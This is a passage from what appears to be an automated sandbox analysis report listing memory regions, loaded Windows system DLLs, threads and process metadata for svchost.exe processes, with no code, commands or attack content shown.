0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1917 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1918 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1919 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1920 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1921 start_va = 0x100000 end_va = 0x17ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1922 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1923 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1924 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1925 start_va = 0x4c0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1926 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 1927 start_va = 0x690000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 1928 start_va = 0x740000 end_va = 0x7bffff entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 1929 start_va = 0x7c0000 end_va = 0xa8efff entry_point = 0x7c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1930 start_va = 0xa90000 end_va = 0xc10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 1931 start_va = 0xc20000 end_va = 0xcdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 1932 start_va = 0xce0000 end_va = 0x10d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 1933 start_va = 0x12c0000 end_va = 0x133ffff entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 1934 start_va = 0x1350000 end_va = 0x13cffff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 1935 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1936 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1937 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1938 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1939 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1940 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1941 start_va = 0xfff20000 end_va = 0xfff2afff entry_point = 0xfff20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1942 start_va = 0x7fef7e80000 end_va = 0x7fef7e96fff entry_point = 0x7fef7e80000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1943 start_va = 0x7fef8e10000 end_va = 0x7fef8e91fff entry_point = 0x7fef8e10000 region_type = mapped_file name = "swprv.dll" filename = "\\Windows\\System32\\swprv.dll" (normalized: "c:\\windows\\system32\\swprv.dll") Region: id = 1944 start_va = 0x7fef9000000 end_va = 0x7fef9013fff entry_point = 0x7fef9000000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 1945 start_va = 0x7fef9050000 end_va = 0x7fef9059fff entry_point = 0x7fef9050000 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 1946 start_va = 0x7fefb260000 end_va = 0x7fefb278fff entry_point = 0x7fefb260000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1947 start_va = 0x7fefb9d0000 end_va = 0x7fefb9d8fff entry_point = 0x7fefb9d0000 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 1948 start_va = 0x7fefcda0000 end_va = 0x7fefcde6fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1949 start_va = 0x7fefd0a0000 end_va = 0x7fefd0b6fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1950 start_va = 0x7fefd6a0000 end_va = 0x7fefd6aefff entry_point = 0x7fefd6a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1951 start_va = 0x7fefd790000 end_va = 0x7fefd7a3fff entry_point = 0x7fefd790000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1952 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1953 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1954 start_va = 0x7fefdc50000 end_va = 0x7fefdd26fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1955 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1956 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1957 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1958 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1959 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1960 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1961 start_va = 0x7feff560000 end_va = 0x7feff5f8fff entry_point = 0x7feff560000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1962 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1963 start_va = 0x7feff870000 end_va = 0x7feffa72fff entry_point = 0x7feff870000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1964 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1965 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1966 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1967 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1968 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1969 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1970 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1971 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1972 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1973 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1974 start_va = 0x7fef7ea0000 end_va = 0x7fef804ffff entry_point = 0x7fef7ea0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Thread: id = 49 os_tid = 0x114 Thread: id = 50 os_tid = 0x244 Thread: id = 51 os_tid = 0x808 Thread: id = 52 os_tid = 0x63c Thread: id = 53 os_tid = 0x6ec Thread: id = 54 os_tid = 0x898 Thread: id = 74 os_tid = 0xa2c Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8da9000" os_pid = "0x268" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0xf0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e915" [0xc000000f], "LOCAL" [0x7] Region: id = 2446 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2447 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2448 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2449 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2450 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2451 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2452 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2453 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2454 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2455 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2456 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2457 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2458 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2459 start_va = 0x1b0000 end_va = 0x1c9fff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2460 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2461 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2462 start_va = 0x1f0000 end_va = 0x1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 2463 start_va = 0x200000 end_va = 0x20ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 2464 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 2465 start_va = 0x220000 end_va = 0x22ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2466 start_va = 0x230000 end_va = 0x23ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 2467 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2468 start_va = 0x250000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2469 start_va = 0x260000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2470 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2471 start_va = 0x460000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 2472 start_va = 0x470000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 2473 start_va = 0x480000 end_va = 0x480fff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 2474 start_va = 0x490000 end_va = 0x491fff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2475 start_va = 0x4a0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 2476 start_va = 0x4b0000 end_va = 0x4b4fff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 2477 start_va = 0x4c0000 end_va = 0x4c0fff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 2478 start_va = 0x4d0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 2479 start_va = 0x4e0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 2480 start_va = 0x4f0000 end_va = 0x677fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 2481 start_va = 0x680000 end_va = 0x800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 2482 start_va = 0x810000 end_va = 0x8cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 2483 start_va = 0x8d0000 end_va = 0xcc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 2484 start_va = 0xcd0000 end_va = 0xd8ffff entry_point = 0xcd0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2485 start_va = 0xd90000 end_va = 0xd90fff entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 2486 start_va = 0xda0000 end_va = 0xdaffff entry_point = 0xda0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2487 start_va = 0xdb0000 end_va = 0xdbffff entry_point = 0xdb0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2488 start_va = 0xdc0000 end_va = 0xdcffff entry_point = 0xdc0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2489 start_va = 0xdd0000 end_va = 0xddffff entry_point = 0xdd0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2490 start_va = 0xde0000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 2491 start_va = 0xe60000 end_va = 0xe6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e60000" filename = "" Region: id = 2492 start_va = 0xe70000 end_va = 0xe7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e70000" filename = "" Region: id = 2493 start_va = 0xe80000 end_va = 0xe8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e80000" filename = "" Region: id = 2494 start_va = 0xe90000 end_va = 0xe9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e90000" filename = "" Region: id = 2495 start_va = 0xea0000 end_va = 0xeaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ea0000" filename = "" Region: id = 2496 start_va = 0xeb0000 end_va = 0xebffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000eb0000" filename = "" Region: id = 2497 start_va = 0xec0000 end_va = 0xecffff entry_point = 0xec0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2498 start_va = 0xed0000 end_va = 0xedffff entry_point = 0xed0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2499 start_va = 0xee0000 end_va = 0xeeffff entry_point = 0xee0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2500 start_va = 0xef0000 end_va = 0xefffff entry_point = 0xef0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2501 start_va = 0xf00000 end_va = 0xf0ffff entry_point = 0xf00000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2502 start_va = 0xf10000 end_va = 0xf1ffff entry_point = 0xf10000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2503 start_va = 0xf20000 end_va = 0xf2ffff entry_point = 0xf20000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2504 start_va = 0xf30000 end_va = 0x11fefff entry_point = 0xf30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2505 start_va = 0x1200000 end_va = 0x127ffff entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 2506 start_va = 0x1280000 end_va = 0x128ffff entry_point = 0x1280000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2507 start_va = 0x1290000 end_va = 0x129ffff entry_point = 0x1290000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 2508 start_va = 0x12a0000 end_va = 0x12affff entry_point = 0x12a0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2509 start_va = 0x12b0000 end_va = 0x12bffff entry_point = 0x12b0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2510 start_va = 0x12c0000 end_va = 0x12cffff entry_point = 0x12c0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2511 start_va = 0x1310000 end_va = 0x131ffff entry_point = 0x1310000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2512 start_va = 0x1320000 end_va = 0x132ffff entry_point = 0x1320000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2513 start_va = 0x1330000 end_va = 0x133ffff entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 2514 start_va = 0x1340000 end_va = 0x134ffff entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 2515 start_va = 0x1350000 end_va = 0x135ffff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 2516 start_va = 0x1360000 end_va = 0x13dffff entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 2517 start_va = 0x13e0000 end_va = 0x13effff entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 2518 start_va = 0x13f0000 end_va = 0x13fffff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 2519 start_va = 0x1400000 end_va = 0x1400fff entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 2520 start_va = 0x1410000 end_va = 0x1410fff entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 2521 start_va = 0x1420000 end_va = 0x142ffff entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 2522 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 2523 start_va = 0x14e0000 end_va = 0x155ffff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 2524 start_va = 0x1560000 end_va = 0x15dffff entry_point = 0x0 region_type = private name = "private_0x0000000001560000" filename = "" Region: id = 2525 start_va = 0x15f0000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 2526 start_va = 0x1680000 end_va = 0x16fffff entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 2527 start_va = 0x1760000 end_va = 0x17dffff entry_point = 0x0 region_type = private name = "private_0x0000000001760000" filename = "" Region: id = 2528 start_va = 0x18c0000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x00000000018c0000" filename = "" Region: id = 2529 start_va = 0x1a40000 end_va = 0x1abffff entry_point = 0x0 region_type = private name = "private_0x0000000001a40000" filename = "" Region: id = 2530 start_va = 0x1ac0000 end_va = 0x1bbffff entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 2531 start_va = 0x1bd0000 end_va = 0x1bdffff entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 2532 start_va = 0x1c10000 end_va = 0x1c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c10000" filename = "" Region: id = 2533 start_va = 0x1ca0000 end_va = 0x1caffff entry_point = 0x0 region_type = private name = "private_0x0000000001ca0000" filename = "" Region: id = 2534 start_va = 0x1cb0000 end_va = 0x1daffff entry_point = 0x0 region_type = private name = "private_0x0000000001cb0000" filename = "" Region: id = 2535 start_va = 0x1dd0000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 2536 start_va = 0x1f10000 end_va = 0x1f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 2537 start_va = 0x1f90000 end_va = 0x208ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 2538 start_va = 0x20d0000 end_va = 0x214ffff entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 2539 start_va = 0x2150000 end_va = 0x224ffff entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 2540 start_va = 0x23f0000 